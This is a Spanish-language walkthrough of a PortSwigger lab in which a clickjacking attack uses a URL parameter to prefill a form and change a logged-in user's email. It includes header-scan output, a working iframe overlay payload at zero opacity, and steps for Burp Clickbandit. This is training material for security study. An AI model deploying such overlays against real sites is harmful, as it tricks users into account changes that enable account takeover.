Clickjacking with form input data prefilled from a URL parameter
Laboratorio de Portswigger sobre Clickjacking
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
El objetivo del laboratorio
es cambiar la dirección de correo electrónico
del usuario rellenando previamente un formulario
mediante un parámetro en la URL
y engañando
al usuario
para que haga click
en un botón de "Actualizar correo electrónico"
, llevando así a cabo, un ataque de Clickjacking
. El laboratorio
se considerará resuelto cuando la dirección de correo electrónico
haya sido cambiada. Podemos iniciar sesión
en nuestra propia cuenta utilizando las credenciales wiener:peter
Guía de clickjacking
Antes
de completar
este laboratorio
es recomendable leerse
esta guía de clickjacking
https://justice-reaper.github.io/posts/Clickjacking-Guide/
Resolución
Al acceder
a la web
vemos esto
Si hacemos click sobre My account
nos podemos loguear
con las credenciales wiener:peter
Después de iniciar sesión
vemos que podemos cambiarnos
el correo electrónico
Si pulsamos sobre View post
vemos que hay una sección de comentarios
Para ver si una web
es vulnerable
a Clickjacking
podemos usar la herramienta shcheck
https://github.com/santoru/shcheck.git para identificar
las cabeceras de seguridad
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# shcheck.py -i -x -k https://0a1800bc042c20d98f01497400e5002b.web-security-academy.net/
======================================================
> shcheck.py - santoru ..............................
------------------------------------------------------
Simple tool to check security headers on a webserver
======================================================
[*] Analyzing headers of https://0a1800bc042c20d98f01497400e5002b.web-security-academy.net/
[!] URL Returned an HTTP error: 404
[*] Effective URL: https://0a1800bc042c20d98f01497400e5002b.web-security-academy.net/
[!] Missing security header: X-XSS-Protection
[!] Missing security header: X-Frame-Options
[!] Missing security header: X-Content-Type-Options
[!] Missing security header: Strict-Transport-Security
[!] Missing security header: Content-Security-Policy
[!] Missing security header: X-Permitted-Cross-Domain-Policies
[!] Missing security header: Referrer-Policy
[!] Missing security header: Expect-CT
[!] Missing security header: Permissions-Policy
[!] Missing security header: Cross-Origin-Embedder-Policy
[!] Missing security header: Cross-Origin-Resource-Policy
[!] Missing security header: Cross-Origin-Opener-Policy
[*] No information disclosure headers detected
[*] No caching headers detected
-------------------------------------------------------
[!] Headers analyzed for https://0a1800bc042c20d98f01497400e5002b.web-security-academy.net/
[+] There are 0 security headers
[-] There are not 12 security headers
Si preferimos usar una herramienta web
podemos usar securityheaders
https://securityheaders.com/
En este caso, vemos que la web
no tiene ni Content-Security-Policy (CSP)
ni X-Frame-Options
, lo cual la hace vulnerable a Clickjacking
Algunos sitios web
que requieren completar y enviar formularios
permiten rellenar previamente
los datos del formulario
mediante parámetros GET
antes del envío
. Dado que los valores GET
forman parte de la URL
, la URL de destino
puede modificarse
para incorporar valores elegidos por el atacante
Hay otros sitios web
que pueden requerir interacción por parte del usuario
, como que el usuario ingrese manualmente los datos
, complete pasos previos
(como una verificación CAPTCHA
) antes de habilitar el envío
, etc
Para comprobar
si el formulario permite rellenar previamente los datos mediante parámetros GET
, lo primero que necesitamos hacer es identificar
los nombres
de los campos
. En este caso vemos que el valor del campo a rellenar
es email
El siguiente paso es añadir
el parámetro email
a la URL
y ver si se rellena
el campo email del formulario
, para ello, accedemos a https://0a1800bc042c20d98f01497400e5002b.web-security-academy.net/my-account?email=pwned@gmail.com
y vemos que sí que funciona
Una vez comprobado esto, ya podemos construir
un payload
, para ello, nos dirigimos al Exploit Server
y pegamos este payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.3;
z-index: 2;
}
div {
position:absolute;
top:450px;
left:75px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://0a1800bc042c20d98f01497400e5002b.web-security-academy.net/my-account?email=pwned@gmail.com"></iframe>
Pinchamos sobre View exploit
para comprobar
que está bien centrado
el div
que contiene el texto Click me
Una vez comprobado modificamos
la opacidad
a 0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0;
z-index: 2;
}
div {
position:absolute;
top:450px;
left:75px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://0a1800bc042c20d98f01497400e5002b.web-security-academy.net/my-account?email=pwned@gmail.com"></iframe>
Otra forma alternativa sería usando la herramienta Clickbandit
de Burpsuite
, para usarla nos dirigimos a Burpsuite
y pulsamos Burp > Burp Clickbandit
Pulsamos sobre Copy Clickbandit to clipboard
Nos dirigimos a Chrome
, nos abrimos la consola de desarrollador
y pegamos
ahí todo el código
Una vez hecho esto nos saldrá este menú
Pulsamos en Start
y marcamos
la casilla Disable click actions
para desactivar
los clicks
Lo siguiente sería pulsar sobre el botón que queremos
, en este caso sobre Update email
que es el que queremos usar para el ataque de Clickjacking
Una vez hecho esto, pulsamos
sobre Finish
y se nos mostrará
como es nuestro payload
actualmente
Usando los símbolos -
y +
, podemos subir
o bajar
el aumento
, y con Toogle transparency
podemos activar
o desactivar
la transparencia
. En mi caso, lo voy a dejar de esta forma. Cuando ya lo tengamos como queremos, pulsamos en Save
y se nos descargará
un documento HTML
Pegamos
el código
en el Exploit server
Pulsamos sobre View exploit
para ver si se ve correctamente
Hacemos click sobre el botón
Nos dirigimos a My account
para ver si ha funcionado el ataque
, y vemos que así es. Una vez comprobado que se ve
y funciona
correctamente, pulsamos sobre Deliver exploit to victim
y completamos el laboratorio
. Debemos tener en cuenta que dos usuarios no pueden tener el mismo email
, por lo tanto deberemos modificar el nuestro o el email que se usa en el payload